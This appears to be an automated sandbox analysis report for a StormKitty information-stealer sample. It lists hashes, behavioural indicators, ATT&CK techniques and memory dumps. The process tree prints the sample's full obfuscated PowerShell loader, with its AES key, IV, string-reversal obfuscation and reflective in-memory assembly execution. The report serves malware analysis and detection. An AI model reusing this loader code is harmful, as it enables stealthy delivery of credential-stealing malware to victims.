stormkitty | 43b71ff866714a9281c6443c83b2d9b8adb3ba10c36a7edceed9ceb2ea03ae9c

General

Target

1 (3).bat
Size

5.0MB
MD5

c8a15e928d8716c074a207383132fdee
SHA1

722aab3f5a84f86206b3dafc8d646356f1a9fa8f
SHA256

43b71ff866714a9281c6443c83b2d9b8adb3ba10c36a7edceed9ceb2ea03ae9c
SHA512

570b31953a996a4f09eb19094463e06aad7768d352b26eaf93d0218e725fecd9b1847f7eb3b5316d476c750258995121a0e3f30937615579431ae91addea9f53
SSDEEP

24576:uJmEVc1z91hmGDRSxkI7ZkgSd8cNuT4YBymha85MqsmThzY0HKh+3tHnZo1tLRll:uOxmqRUbR57NHHy1mtxaV

Score

10^/10

stormkitty execution stealer

Malware Config

Signatures

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2328-17-0x000001E0E7FE0000-0x000001E0E81AE000-memory.dmp	family_stormkitty

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

15 2328 powershell.exe
17 2328 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2328 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 icanhazip.com
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

flow	pid	process
15	2328	powershell.exe
17	2328	powershell.exe

pid	process
2328	powershell.exe

flow	ioc
14	icanhazip.com

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2328 powershell.exe
2328 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2328 powershell.exe

pid	process
2328	powershell.exe
2328	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2328	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 4228 wrote to memory of 3784	4228	cmd.exe	cmd.exe
PID 4228 wrote to memory of 3784	4228	cmd.exe	cmd.exe
PID 4228 wrote to memory of 2328	4228	cmd.exe	powershell.exe
PID 4228 wrote to memory of 2328	4228	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1 (3).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0rjlbZXI4wI0ciuar5m++D5+J76klQrlAvbqJ43Iy4Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1usa/uKScJKM8/1+YdulaA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DDGsT=New-Object System.IO.MemoryStream(,$param_var); $CWqVT=New-Object System.IO.MemoryStream; $PJdiV=New-Object System.IO.Compression.GZipStream($DDGsT, [IO.Compression.CompressionMode]::Decompress); $PJdiV.CopyTo($CWqVT); $PJdiV.Dispose(); $DDGsT.Dispose(); $CWqVT.Dispose(); $CWqVT.ToArray();}function execute_function($param_var,$param2_var){ $YPAVW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qHQpi=$YPAVW.EntryPoint; $qHQpi.Invoke($null, $param2_var);}$wtInT = 'C:\Users\Admin\AppData\Local\Temp\1 (3).bat';$host.UI.RawUI.WindowTitle = $wtInT;$VvHgl=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wtInT).Split([Environment]::NewLine);foreach ($mXdOf in $VvHgl) { if ($mXdOf.StartsWith('tPqKmfSeuKbxOPBqzcVB')) { $Sdscq=$mXdOf.Substring(20); break; }}$payloads_var=[string[]]$Sdscq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:3784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ryv0aeye.paa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2328-14-0x000001E0E7D90000-0x000001E0E7E06000-memory.dmp

Filesize
472KB

Download
memory/2328-6-0x000001E0E5800000-0x000001E0E5822000-memory.dmp

Filesize
136KB

Download
memory/2328-11-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

Filesize
10.8MB

Download
memory/2328-12-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

Filesize
10.8MB

Download
memory/2328-13-0x000001E0E7A80000-0x000001E0E7AC4000-memory.dmp

Filesize
272KB

Download
memory/2328-0-0x00007FFD05E63000-0x00007FFD05E65000-memory.dmp

Filesize
8KB

Download
memory/2328-15-0x000001E0E5880000-0x000001E0E5888000-memory.dmp

Filesize
32KB

Download
memory/2328-16-0x000001E0E7E10000-0x000001E0E7FDC000-memory.dmp

Filesize
1.8MB

Download
memory/2328-17-0x000001E0E7FE0000-0x000001E0E81AE000-memory.dmp

Filesize
1.8MB

Download
memory/2328-18-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

Filesize
10.8MB

Download
memory/2328-21-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

Filesize
10.8MB

Download
memory/2328-22-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads